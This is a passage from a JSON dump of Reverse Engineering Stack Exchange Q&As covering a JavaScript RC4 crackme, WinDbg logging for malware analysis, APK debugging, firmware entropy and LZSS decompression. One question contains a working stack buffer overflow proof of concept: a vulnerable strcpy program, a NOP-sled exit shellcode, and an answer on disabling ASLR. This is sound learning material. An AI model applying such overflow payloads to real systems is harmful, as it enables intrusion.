document.getElementsByTagName('button')[0];\n        if (typeof(btn.addEventListener) != typeof(mainFunction)) {\n            btn.attachEvent('onclick', mainFunction);\n        } else {\n            btn.addEventListener('click', mainFunction, true);\n        }\n        btn = document.getElementById('urchin');\n        btn.parentNode.removeChild(btn);\n    })();\n&lt;/script&gt;\n</code></pre>\n\n<p>I understand my input after decrypt needs to be \"input128\", how can I reverse the process to encrypt \"input128\" ? </p>\n\n<ul>\n<li>BTW, It's using rc4 encryption  </li>\n</ul>\n",
        "Title": "reverse javascript crackme encryption method algorithm",
        "Tags": "|obfuscation|javascript|",
        "Answer": "<p>To extend on <a href=\"https://reverseengineering.stackexchange.com/users/22023/ewd-0\">EWD-0-</a> about the reversibility of RC4 here's how I tried it:</p>\n\n<p>From your actual code and reversing it a little to get \"input128\" encoded:</p>\n\n<pre><code>arr = [99, 116, 115, 37, 16, 120, 211, 90, 197, 22, 166, 63, 146, 59, 123, 237, 93, 44, 76, 118, 168, 91, 55, 187, 62, 220, 135, 49, 127, 185, 153, 8, 66, 155, 152, 181, 117, 149, 31, 87, 169, 6, 172, 34, 101, 134, 107, 157, 199, 231, 124, 2, 243, 35, 241, 139, 68, 3, 159, 86, 77, 225, 105, 29, 144, 19, 32, 42, 227, 147, 133, 15, 160, 73, 190, 148, 82, 97, 170, 201, 212, 14, 18, 13, 193, 121, 143, 141, 182, 122, 21, 108, 112, 111, 217, 60, 250, 27, 137, 244, 191, 38, 171, 214, 248, 132, 228, 43, 232, 213, 223, 129, 28, 64, 247, 205, 138, 95, 202, 235, 61, 119, 224, 88, 238, 206, 230, 94, 195, 5, 179, 54, 72, 92, 136, 98, 188, 200, 173, 226, 198, 4, 71, 196, 126, 9, 69, 110, 84, 48, 85, 210, 30, 180, 229, 216, 162, 56, 75, 0, 67, 253, 163, 167, 53, 26, 7, 12, 174, 57, 130, 194, 209, 165, 1, 140, 183, 70, 23, 89, 150, 25, 145, 104, 233, 74, 142, 151, 222, 65, 207, 96, 154, 218, 106, 131, 255, 109, 254, 33, 113, 164, 203, 40, 246, 83, 192, 236, 189, 78, 158, 234, 177, 175, 161, 251, 100, 221, 219, 103, 50, 41, 242, 10, 249, 240, 20, 184, 24, 80, 52, 51, 81, 11, 156, 245, 114, 239, 186, 125, 17, 204, 128, 47, 36, 39, 215, 208, 46, 176, 178, 58, 45, 102, 252, 79];\nvar idx = varX = 0;\nvar cmpStr = '';\nfor (var i3 = idx; i3 &lt; 'input128'.length; i3 += 1) {\n  idx = (idx + 1) % 256;\n  varX = (varX + arr[idx]) % 256;\n  arr[idx] ^= arr[varX];\n  arr[varX] ^= arr[idx];\n  arr[idx] ^= arr[varX];\n\n  var hex2int = 'input128'.charCodeAt(i3);\n  var charCode = hex2int ^ arr[(arr[idx] + arr[varX]) % 256];\n\n  cmpStr += charCode.toString(16)+\" \";\n}\nconsole.log(cmpStr);\n</code></pre>\n\n<p>Main difference in the loop is running by step of 1 by char, and taking each character code to xor with the corresponding key value. It is then encoded in hex as your original code does read hex values (the loop run by step of 2) to get character code (<code>curHex</code> then <code>hex2int</code>).</p>\n\n<p>This give me: <code>95 69 18 b1 82 8 c1 59</code> </p>\n\n<p>You just have to add a <code>0</code> to the 6th entry and remove the spaces to fill <code>inputValue</code> and you'll get back 'input128' in <code>cmpStr</code>.</p>\n"
    },
    {
        "Id": "16648",
        "CreationDate": "2017-10-28T17:24:39.477",
        "Body": "<p>I have a malware sample that wraps <code>LoadLibrary</code> &amp; <code>GetProcAddress</code> duo to dynamically resolve functions. After this wrapper is called the value stored in <code>eax</code>(which is the function name)immediately gets called. The strings are encrypted and it's too difficult for me to reverse the encryption algorithm. Instead I wrote a python script which sets breakpoints where a <code>call eax</code> instruction is mentioned. Everyting's fine, I get the addresses of the functions from <code>eax</code> that are dynamically imported. The problem is I need them to be readable. I know how to resolve the address to a function name in widbg by calling <code>ln address</code>. But I don't want to sit all day and copy all of the 649 imports one by one to the <code>windbg</code> console. I looked up the <code>windbg</code>'s scripting capabilities but I could not write anything that would do the job.</p>\n\n<p>Thanks</p>\n",
        "Title": "Resolve Addresses To Function Names",
        "Tags": "|ida|malware|idapython|windbg|dynamic-linking|",
        "Answer": "<p>i dont know if i understood your query correctly but if you want to log the function names that are passed to getproc address you can log them like this in windbg </p>\n\n<pre><code>C:\\&gt;cdb calc\n\nMicrosoft (R) Windows Debugger Version 10.0.15063.468 X86\n\nntdll!LdrpDoDebuggerBreak+0x2c:\n775605a6 cc              int     3\n\n0:000&gt; bp KERNELBASE!GetProcAddress \".printf \\\"%ma\\\\n\\\",poi(@esp+8);gc\"\n\n0:000&gt; bl\n 0 e 756c6c81     0001 (0001)  0:**** KERNELBASE!GetProcAddress \".printf \\\"%ma\\\\n\\\",poi(@esp+8);gc\"\n\n\n0:000&gt; g\n\nImmWINNLSEnableIME\nImmWINNLSGetEnableStatus\nImmSendIMEMessageExW\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nCtfImmTIMActivate\nCtfImmRestoreToolbarWnd\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nLpkPSMTextOut\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nModLoad: 740c0000 740d3000   C:\\Windows\\system32\\dwmapi.dll\nDwmIsCompositionEnabled\nGetLayout\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nModLoad: 75590000 7559c000   C:\\Windows\\system32\\CRYPTBASE.dll\nSystemFunction036\nCLSIDFromOle1Class\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nModLoad: 73b70000 73bac000   C:\\Windows\\system32\\oleacc.dll\nEventWrite\nEventRegister\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nBufferedPaintStopAllAnimations\n\nntdll!DbgBreakPoint:\n774f4108 cc              int     3\n0:004&gt; q\nquit:\n\nC:\\&gt;\n</code></pre>\n\n<p>afaik windbg also resolves the address to its function Name </p>\n\n<pre><code>0:000&gt; rM0\ncalc!WinMain+0x6b:\n001316a0 ffd7            call    edi {kernel32!GetModuleHandleWStub (7737ccac)}\n</code></pre>\n"
    },
    {
        "Id": "16649",
        "CreationDate": "2017-10-28T17:47:42.033",
        "Body": "<p>I'm trying to analyze a .so file that is ran on android.\nLoading the file into IDA I'm unable to spot the JNI_onLoad.\nSo I dumped the .so to memory and I'm still unable to spot the JNI_onLoad.</p>\n\n<p>Looking at the strings window, I could see a string \"JNI_onLoad\", but it's not referenced anywhere.\nThe library should also contain JNI native methods, but I'm unable to find any.</p>\n\n<p>So my question is, where is JNI_onLoad? Must there be a JNI_onLoad? and how does the calling java class know where to find it's native functions?</p>\n\n<p>Here are the exports that IDA lists:</p>\n\n<pre><code>Name    Address  Ordinal\n----    -------  -------\n       0008A044        \n/linker 0008A064        \n       0008B098        \n\u05e1      0008AFCC        \n       0008A990        \n       0008A16C        \nr      0008A43C        \n       0008A464        \n\u0192      0008A4B8        \n       0008A784        \n       0008A988        \n       0008AB24        \n       0008AB4C        \n      0008AED0        \n.      0008AED8        \n       0008AEE0        \n       0008AF44        \n       0008AF7C        \nh      0008AF90        \n       0008B07C        \n       0008C808        \n       0008C85C        \n       0008C0E8        \n       0008B5E4        \n}      0008B5EC        \n       0008B690        \n       0008C2D8        \n       0008C0C0        \n      0008C12C        \n\u05d8      0008C184        \n\u05e4      0008C0A4        \n\u00bd      0008C198        \n       0008C1BC        \n|       0008C1E0        \n       0008C228        \n_\u00ab     0008C660        \n       0008C6B0        \n       0008C6CC        \n\u00bb      0008C6D4        \n\u05e0\u00bb     0008C6DC        \n_\u00bb     0008C6E4        \n\u00bb      0008C6EC        \n_      0008C774        \n       0008C790        \n       0008C7A4        \n_      0008C7CC        \n\u05e8_     0008C7E0        \n       0008CAE8        \n</code></pre>\n",
        "Title": "JNI_onLoad not presented in .so (Android)",
        "Tags": "|android|shared-object|",
        "Answer": "<p>Found somewhat of a solution.<br>\nAfter a lot googling I came to a conclusion that the ELF file was corrupted on purpose.<br> I've found that only 3 fields can be manipulated in order to make an ELF break a debugger and still be able to run -> (e_shoff, e_shnum, e_shstrndx).<br></p>\n\n<pre><code>Source: https://dustri.org/b/screwing-elf-header-for-fun-and-profit.html\n</code></pre>\n\n<p>I downloaded ELF Parser from <a href=\"http://www.elfparser.com/\" rel=\"nofollow noreferrer\">http://www.elfparser.com/</a> and loaded the shared object file into it.<br>\nUnder SHeaders, made note of the smallest section offset and converted into hex, in my case the offset was 2056 or in hex 0x808. I went to the ELF header and made note of my SH Offset which was 703264 or in hex 0xABB20<br>\nI opened the file in a hex editor and looked for 0x20 0xBB 0x0A 0x00 and replaced it with 0x08 0x08. That fixed the exports and imports for IDA and i was able to find JNI_onLoad.</p>\n"
    },
    {
        "Id": "16657",
        "CreationDate": "2017-10-30T01:58:46.243",
        "Body": "<p>TAP cards have been around for a while now, but there seems to be very little information around that explains how they work, particularly by the LA transit system.  </p>\n\n<p>Here is an article saying that they are set to replace the MetroCard for the New York transit system with TAP:  </p>\n\n<p><a href=\"https://nypost.com/2017/10/20/mta-gets-ready-to-dump-the-metrocard/\" rel=\"nofollow noreferrer\">MTA gets ready to dump the Metrocard</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/CoNSa.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CoNSa.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>The official <a href=\"https://www.taptogo.net/\" rel=\"nofollow noreferrer\">Transit Access Pass</a> website has this to say:</p>\n\n<p><a href=\"https://www.taptogo.net/articles/en_US/Website_content/about-tap\" rel=\"nofollow noreferrer\">What's TAP?</a></p>\n\n<p>Excerpt:</p>\n\n<blockquote>\n  <p>Each TAP card has a built-in electronic chip.</p>\n  \n  <p>It\u2019s like a mini-computer inside your card! It lets you load Stored Value (money) and a variety of passes for travel across 24 transit agencies. No more fumbling for change.  Just load the type of fare you want on your card, then tap it each time you board a bus or train.  It\u2019s way faster than cash!</p>\n</blockquote>\n\n<p>It is some sort of contactless smart card, but looking around using that as a search term, TAP seems not to be listed as using the ISO 14443 standard.  Yet maybe it does.</p>\n\n<p>Question:  How do they work?</p>\n",
        "Title": "How does a TAP card work?",
        "Tags": "|smartcards|",
        "Answer": "<p>Too long to fit in a comment.</p>\n\n<blockquote>\n  <p>A TAP card is a durable plastic card with a smart chip designed to make your transit experience simple and secure.<sup><a href=\"https://www.taptogo.net/TAPFAQ\" rel=\"nofollow noreferrer\">1</a></sup></p>\n</blockquote>\n\n<p><a href=\"https://i.stack.imgur.com/l6iO6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/l6iO6.png\" alt=\"tap card\"></a></p>\n\n<blockquote>\n  <p>Contactless payments use the international standard ISO/IEC14443 for contactless communications that is being adopted worldwide for financial payments and leverage the existing payments infrastructure which has supported payment cards for more than 40 years.<sup>\n  <a href=\"https://www.securetechalliance.org/publications-contactless-payments-faq/?redirect=https%3A%2F%2Fwww.securetechalliance.org%2Fpublications-contactless-payments-faq#s8\" rel=\"nofollow noreferrer\">2</a></sup></p>\n</blockquote>\n\n<p><hr>\n<sub>1. TAP FAQs. <a href=\"https://www.taptogo.net/TAPFAQ\" rel=\"nofollow noreferrer\">https://www.taptogo.net/TAPFAQ</a></sub></p>\n\n<p><sub>2. Contactless Payments: Frequently Asked Questions. <a href=\"https://www.securetechalliance.org/publications-contactless-payments-faq\" rel=\"nofollow noreferrer\">https://www.securetechalliance.org/publications-contactless-payments-faq</a></sub></p>\n"
    },
    {
        "Id": "16668",
        "CreationDate": "2017-10-30T21:15:37.140",
        "Body": "<p>I was watching this series of videos and I noticed that his memory addresses were not changing every time he restarted the game and/or olly. In addition, his comments seemed to stick around and he was able to easily find where he had been working previously. <a href=\"https://www.youtube.com/watch?v=BHYjxsDROn4&amp;t=8s\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=BHYjxsDROn4&amp;t=8s</a> </p>\n\n<p>I am also trying to grab specific memory addresses and write a basic program that allows me to change them by writing to them externally, but every time I try to do it the memory address changes. I realize that memory is dynamic and this is supposed to happen, but I don't understand why it was not happening to him. Is it just because it is an older video and that's how it used to work, or am I missing something. In addition, in order to do it now I assume I need to somehow get the offset from the base address. Every video I watch about doing this refers to finding an offset for a pointer. Do only pointers maintain a static offset? If so, how do I find this in ollydbg?</p>\n",
        "Title": "Getting the correct memory address for a specific value",
        "Tags": "|ollydbg|c++|",
        "Answer": "<p>The reason his memory addresses weren't changing <em>in that scenario</em> is because the game is 32-bit and loaded into memory conventionally per <strong><a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20141003-00/?p=43923\" rel=\"nofollow noreferrer\">this</a></strong> and <strong><a href=\"https://msdn.microsoft.com/en-us/library/ms809762.aspx\" rel=\"nofollow noreferrer\">this</a></strong> (do a CTRL + F for 0x400000 and read the paragraph the first 2 results are located in).</p>\n\n<p>You may also see addresses referenced by a symbol name, like ac_client.exe+5B2C0, where ac_client.exe references a base of 0x400000 plus the offset 0x5B2C0.</p>\n\n<p>As for what you're trying to accomplish in C++, there are Windows functions you can use to identify a process and then acquire its base address. Then you can base offsets off that. If your addresses are changing every time you start the game, then as Dominik suggested, ASLR may be what you're dealing with. Or an anti-cheat/obfuscation implementation like Denuvo. Or a game utilizing something like JVM which can change addresses <em>and</em> sub-routine instructions with each restart.</p>\n\n<p>Your options are commonly to reference a symbol name, find a base address + offset to reference, or identify a byte signature (aka \"array of bytes\") you can scan for--of which you then acquire an address to use either in and of itself, or as a reference point to base an offset from.</p>\n\n<p>There's a lot more to all of this, but I <em>highly</em> recommend you pick up the book <strong>\"<a href=\"https://www.nostarch.com/gamehacking\" rel=\"nofollow noreferrer\">Game Hacking</a>\"</strong>. For what you're looking to do, it will impart quite a bit of wisdom to you that you'd otherwise spend hours upon hours trying to piece together via posts and videos. It also provides code snippets you need for things like acquiring the PID of a running process, etc.</p>\n"
    },
    {
        "Id": "16669",
        "CreationDate": "2017-10-31T00:52:23.383",
        "Body": "<p>I have seen the ways to modify an apk using apktools and adding android:debugging=\"true\" but I have an apk that check for changes and crashes if any changes are made. Is it possible to capture the running thread and set a breakpoint using smalidea or something similar? I'm trying to capture some info from the apk in order to write something similar as I'm not getting any feedback from the original developer (in China).</p>\n",
        "Title": "Debugging third party apk without modifying apk",
        "Tags": "|debugging|android|apk|",
        "Answer": "<p>You can't debug an apk on a user build of Android, unless the app has the android:debuggable=\"true\" attribute in the manifest</p>\n\n<p>However, if you have a phone you can flash, you can flash a version of Android that allows debugging of any app. userdebug builds allow this, for example. I believe it's the \"ro.debuggable\" system attribute that controls this.</p>\n\n<p>Another option might be to try running the app in an emulator, which also allows debugging of any app.</p>\n\n<p>Once you're able to debug the app, you can use smalidea or any other debugging tools that you want.</p>\n"
    },
    {
        "Id": "16675",
        "CreationDate": "2017-10-31T14:52:25.623",
        "Body": "<p>I am trying to disassemble the firmware for the Cisco Sx300 switch as found here: \n<a href=\"https://software.cisco.com/download/release.html%3Fmdfid%3D283019611%26softwareid%3D282463181%26release%3D1.2.7.76\" rel=\"noreferrer\">https://software.cisco.com/download/release.html%3Fmdfid%3D283019611%26softwareid%3D282463181%26release%3D1.2.7.76</a></p>\n\n<p>While some documentation for other iterations of Wind River's firmware exist, I have not encountered a working set of tools for this particular firmware. </p>\n\n<p>Binwalk gives some results:</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Cisco VxWorks firmware header, header size: 80 bytes, number of files: 15, image size: 6988894, firmware version: \"1.2.7.76\"\n209           0xD1            LANCOM WWAN firmware\n1483          0x5CB           LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 16016448 bytes\n3984149       0x3CCB15        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 859164 bytes\n4153128       0x3F5F28        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2962457 bytes\n4847723       0x49F86B        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2122505 bytes\n6914211       0x6980A3        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66664 bytes\n6932632       0x69C898        XML document, version: \"1.0\"\n6950635       0x6A0EEB        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 121427 bytes\n</code></pre>\n\n<p>However, extraction with the -e flag doesn't provide meaningful results. Several files are extracted, but others end up as corrupt archives, or file that are are too small to be actual files. I am not certain that the LZMA compressed data isn't false positive. </p>\n\n<p>Disassembly with IDA fails, as I do not know the loader address. </p>\n\n<p>This Cisco help resource suggests that there is some form of compression going on:\n<a href=\"https://supportforums.cisco.com/t5/small-business-support-documents/how-to-recover-a-reboot-loop-on-sx300/ta-p/3134953\" rel=\"noreferrer\">https://supportforums.cisco.com/t5/small-business-support-documents/how-to-recover-a-reboot-loop-on-sx300/ta-p/3134953</a></p>\n\n<p>This help support post confirms that the Firmware is ARM based, but I am not certain as to the exact make of the chip. </p>\n\n<p>I am aware that previous iterations of the VxWork's Firmware had the loader address in the header. Analysis of the header did not find a useable address at the suggested location (0x14)</p>\n\n<p><a href=\"https://i.stack.imgur.com/WJRHY.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/WJRHY.png\" alt=\"Very likely a VxWorks Header\"></a></p>\n\n<p>I attempted to match up the strings in the firmware to string tables and was not able to find any string tables, despite a thorough search. This supports my notion that it is compressed, or otherwise packed. </p>\n\n<p>Lastly, I searched through the binary for probable addresses in order to deduce the loader address. I was not able to find any commonly referenced addresses or ranges. This was especially hard, as none of the binary was able to be correctly analyzed by IDA. </p>\n\n<p>Am I missing something easy and fundamental here? Is there a special technique for VxWorks firmware? </p>\n",
        "Title": "Disassembling VxWorks Firmware",
        "Tags": "|disassembly|firmware|",
        "Answer": "<blockquote>\n  <p>This supports my notion that it is compressed, or otherwise packed.</p>\n</blockquote>\n\n<p>You are correct; most of this firmware image is compressed or encrypted. In order to be disassembled the binary will have to be decompressed/decrypted.</p>\n\n<p>Evidence of compression/encryption:</p>\n\n<ol>\n<li><p><code>binwalk</code> entropy plot\n<a href=\"https://i.stack.imgur.com/bcU0N.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bcU0N.png\" alt=\"binwalk entropy plot\"></a></p>\n\n<p>The entropy level throughout most of the file appears to appears to be close to the maximum possible.</p></li>\n<li><p>Visualization via <a href=\"http://binvis.io/#/\" rel=\"nofollow noreferrer\">binvis.io</a>:</p>\n\n<p>A visualization of the entropy of the firmware is on the left and a visualization of the entropy of an uncompressed file is on the right:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TZbSA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TZbSA.png\" alt=\"firmware entropy binvis.io\"></a>\n<a href=\"https://i.stack.imgur.com/rAprl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rAprl.png\" alt=\"bash entropy\"></a></p></li>\n<li><p><a href=\"http://www.fourmilab.ch/random/\" rel=\"nofollow noreferrer\">ent</a> (A Pseudorandom Number Sequence Test Program)</p>\n\n<pre><code>$ ent sx300_fw-12776.ros \nEntropy = 7.999864 bits per byte.\n\nOptimum compression would reduce the size\nof this 6988974 byte file by 0 percent.\n\nChi square distribution for 6988974 samples is 1330.86, and randomly\nwould exceed this value 0.01 percent of the times.\n\nArithmetic mean value of data bytes is 127.3134 (127.5 = random).\nMonte Carlo value for Pi is 3.145007550 (error 0.11 percent).\nSerial correlation coefficient is 0.002524 (totally uncorrelated = 0.0).\n</code></pre>\n\n<p>See <a href=\"http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/\" rel=\"nofollow noreferrer\">http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/</a></p></li>\n</ol>\n"
    },
    {
        "Id": "16677",
        "CreationDate": "2017-10-31T18:49:20.617",
        "Body": "<p>So I just started with reverse engineering and have run into some issues until I recently noticed something strange. I wrote an extremely simple shellcode (exit system call) for practice and I played around with it in gdb. I use the following code to create my payload:</p>\n\n<pre><code>$(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\n</code></pre>\n\n<p>I run this payload against the following program:</p>\n\n<pre><code>#include &lt;string.h&gt;\n\nint main(int argc, char **argv)\n{\n  char buffer[500];\n  strcpy(buffer, argv[1]);\n}\n</code></pre>\n\n<p>I compiled the program with: </p>\n\n<pre><code>tcc -m32 -mtune=i386 -g vuln.c -fno-stack-protector\n</code></pre>\n\n<p>Now, here's my problem. When I run the payload against the program in gdb like this, it works perfectly.</p>\n\n<pre><code>(gdb) r $(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\nStarting program: /root/exploiting/a.out $(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\n[Inferior 1 (process 2573) exited normally]\n(gdb\n</code></pre>\n\n<p>However, if I run it on my command line:</p>\n\n<pre><code>root@kali:~/exploiting# ./a.out $(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\nSegmentation fault\n</code></pre>\n\n<p>Why does this happen? Is this supposed to happen?</p>\n",
        "Title": "Why does my shellcode work in gdb but not on the command line",
        "Tags": "|gdb|",
        "Answer": "<p>I think the best way works out for me is to attach the process of the binary with gdb and using <code>setarch -R &lt;binary&gt;</code> to temporarily disable the ASLR protection only for the binary. This way the stack frame should be the same within and without gdb.</p>\n<p>Hope this helps.</p>\n"
    },
    {
        "Id": "16678",
        "CreationDate": "2017-10-31T19:25:48.947",
        "Body": "<p>I'm trying to dump a few pieces of info that happen at the very beginning of the start up of a third party app and not after the app is running. I have debugged on other platforms and there is usually a way to load the app and then halt before start up in order to link into it for debugging. Is there a similar mechanism with Android debugging? Using ddms, I can connect and set break points once the app is running.</p>\n",
        "Title": "Android debugging, stop before app starts on third party app",
        "Tags": "|debugging|android|",
        "Answer": "<p>Yes. Go to settings->developer options and select the app you want to debug in the \"Select debug app\" option, and then make sure the \"wait for debugger\" option is turned on.</p>\n\n<p>Now, when the app starts, the device will show a dialog and wait for you to attach a debugger before the app starts running.</p>\n"
    },
    {
        "Id": "16681",
        "CreationDate": "2017-10-31T22:16:04.100",
        "Body": "<p>I have identified a routine that behaves exactly like printf in an ARM64 binary.  Arguments are passed in the standard fashion (e.g. X0, X1, X2 ...) and I have given the function the signature (Y) of:</p>\n\n<pre><code>int printf(char* fmt, ...)\n</code></pre>\n\n<p>This does the \"right thing\" some of the time, but not very frequently.  Usually it'll miss any arguments after the second one.</p>\n\n<p>Is there any way to tell HexRays more about this routine, so that it \"does the right thing\" and displays the data correctly?  As an example, one of the lines is effectively:</p>\n\n<pre><code>printf(\"%s: %s: foo: 0x%llx, bar: 0x%llx, baz: %u\\n\", \"function_name\");\n</code></pre>\n\n<p>When it should have several more arguments, as indicated by the format string (and which are actually loaded into registers immediately before the call).</p>\n",
        "Title": "HexRays: Variadic methods like printf",
        "Tags": "|ida|arm|hexrays|",
        "Answer": "<p>If the decompiler detects wrong number of arguments for a variadic function call, you can adjust it using the <a href=\"https://www.hex-rays.com/products/decompiler/manual/cmd_variadic.shtml\" rel=\"nofollow noreferrer\">context menu comands</a> or Numpad +/- hotkeys.</p>\n"
    },
    {
        "Id": "16688",
        "CreationDate": "2017-11-01T20:18:41.827",
        "Body": "<p>I'm working on unpacking a camera firmware file which consists of various sections that I am able to correctly split and validate. One section within this file is additionally compressed with a form of LZSS as <a href=\"http://wiki.xentax.com/index.php/LZSS#Decompression\" rel=\"nofollow noreferrer\">described here</a>, of which I cannot determine the correct format of the lookup bytes.</p>\n\n<p>The data starts with 2 uncompressed data blocks of 4096 bytes each (or a single 8192 byte block, however you want to see it), then follows the compressed data.</p>\n\n<p>The compressed data starts with a flag byte, whose bits (starting at the LSB) tell which of the following bytes are to be copied (bit set), and which ones are lookup information (bit unset). Lookup information is made up of 2 bytes / 16 bits, and I am looking for help to decode their exact format.</p>\n\n<p>I already know:</p>\n\n<ul>\n<li>the MSBs contain the <code>index</code> into the lookup buffer</li>\n<li>the LSBs contain the <code>length</code> of the lookup, i.e. the number of bytes to be copied from the lookup buffer at the given index</li>\n<li>the <code>length</code> is at least 3 bits</li>\n<li>the actual lookup length is <code>length + 3</code> (because 3 is the minimum length for which a lookup makes sense, e.g. a bit-indicated length of 2 equals an actual lookup length of 5 bytes)</li>\n</ul>\n\n<p>I suspect:</p>\n\n<ul>\n<li>The lookup length is either 3 or 4 bits (inside the data that I could manually decode, I did not find an occurrence of a length that requires 4 bits though)</li>\n<li>Since the lookup is either 3 or 4 bits, the index should be 13 or 12 bits. 12 bits make a lookup buffer size of 4096 byte, 13 bits a size of 8192, which corresponds to the uncompressed data block at the top and could be the init data of the buffer</li>\n</ul>\n\n<p>Let's decompress an excerpt, starting at <code>00675CCE</code>:</p>\n\n<pre><code>00675CC0  65 0D 0A 0D FD 0A 33 C0 3C 68 74 6D 6C 3E FF 3C  e...\u00fd.3\u00c0&lt;html&gt;\u00ff&lt;\n00675CD0  68 65 61 64 3E 3C 74 BF 69 74 6C 65 3E 34 40 C0  head&gt;&lt;t\u00bfitle&gt;4@\u00c0\n00675CE0  42 FF 61 64 20 52 65 71 75 65 6F 73 74 3C 2F 5F  B\u00ffad Requeost&lt;/_\n00675CF0  C3 3C 2F 59 C3 6F 62 6F 64 79 57 C0 31 3E 69 CA  \u00c3&lt;/Y\u00c3obodyW\u00c01&gt;i\u00ca\n00675D00  FE 8A C0 3C 70 3E 59 6F 75 72 FF 20 62 72 6F 77  \u00fe\u0160\u00c0&lt;p&gt;Your\u00ff brow\n</code></pre>\n\n<p>The decoding sequence:</p>\n\n<pre><code>00675CCE FF: read 8 bytes (\"&lt;head&gt;&lt;t\")\n00675CD7 BF: read 6 bytes (\"itle&gt;4\")\n             lookup 40C0 -&gt; read 3 bytes @ ? index (\"00 \")\n             read 1 byte  (\"B\")\n00675CE0 FF: read 8 bytes (\"ad Reque\")\n00675CEA 6F: read 4 bytes (\"st&lt;/\")\n             lookup 5FC3 -&gt; read 6 bytes @ ? index (\"title&gt;\")\n             read 2 bytes (\"&lt;/\")\n             lookup 59C3 -&gt; read 6 bytes @ ? index (\"head&gt;&lt;\")\n00675CF5 6F: read 4 bytes (\"body\")\n             ...             \n</code></pre>\n\n<p>The decoded result:</p>\n\n<pre><code>00000000  3C 68 65 61 64 3E 3C 74 69 74 6C 65 3E 34 30 30  &lt;head&gt;&lt;title&gt;400\n00000010  20 42 61 64 20 52 65 71 75 65 73 74 3C 2F 74 69   Bad Request&lt;/ti\n00000020  74 6C 65 3E 3C 2F 68 65 61 64 3E 3C 62 6F 64 79  tle&gt;&lt;/head&gt;&lt;body\n</code></pre>\n\n<p>Now let's look at the last two lookups and their potential decodings:</p>\n\n<pre><code>0x5FC3 = 0101111111000011b\n         0101111111000 011 -&gt; index 3064, length 6 (3 + 3 per above rule)\n         010111111100 0011 -&gt; index 1532, length 6\n\n0x59C3 = 0101100111000011b\n         0101100111000 011 -&gt; index 2872, length 6\n         010110011100 0011 -&gt; index 1436, length 6\n</code></pre>\n\n<p>I specifically chose this example because both lookups are only a few bytes back. In the decoded output/lookup-buffer, <code>0x5FC3</code> looks back 23 bytes and <code>0x59C3</code> looks back 38 bytes. The length is definitely correct, but the index numbers don't make sense to me. No matter which buffer size I assume, or if the index starts from the front or back of the buffer, or even differentiating endianness, the numbers don't fit. I'd assume that the lookup indices, due to only looking back a few bytes, should be on the lower or upper edge of the buffer. Also due to their vicinity in both compressed data and lookup data, their indices should be very close together.</p>\n\n<p>So the question is either how can the lookup indices be correctly interpreted, or, assuming they are correct, how does the lookup buffer work because it can't be a standard circular buffer in such case. Any help would be greatly appreciated!</p>\n\n<p>ps: In case anyone is interested, the firmware format in question is used by the YI M1 and Fujifilm X-A10 cameras. The current state of the firmware unpacker is <a href=\"https://github.com/protyposis/yi-mirrorless-firmware-tools\" rel=\"nofollow noreferrer\">available on GitHub</a>.</p>\n\n<p><strong>Update:</strong>\nFurther investigation has led me to <a href=\"https://reverseengineering.stackexchange.com/questions/15326/trying-to-figure-what-kind-of-compression-was-used\">this related RE question</a> and the <a href=\"http://www.ross.net/compression/lzrw1.html\" rel=\"nofollow noreferrer\">LZRW compression family</a> where the lookup indices may also refer to some kind of lookup table instead of directly into the data.</p>\n\n<p><strong>Update 2:</strong>\nFound evidence that the lookup length takes at least 4 bits. Also figured out that the lookup bytes are stored in big endian order (seems like I made a mistake last time when I tried it).</p>\n\n<pre><code>0x5FC3 = 0101111111000011b\n         110001011111 0011 -&gt; index 3167, length 6 (big endian)\n\n0x59C3 = 0101100111000011b\n         110001011001 0011 -&gt; index 3161, length 6 (big endian)\n</code></pre>\n\n<p>In the test cases I set up in the linked code repository, I noticed that many lookups are off by 709 byte, so I added an initial lookup buffer write offset of 709 and I'm now able to correctly decode large parts of the data, including the example above. Other parts seem to require another offset though, so this is still open to be figured out.</p>\n\n<p><strong>Update 3:</strong>\nBy analyzing where the 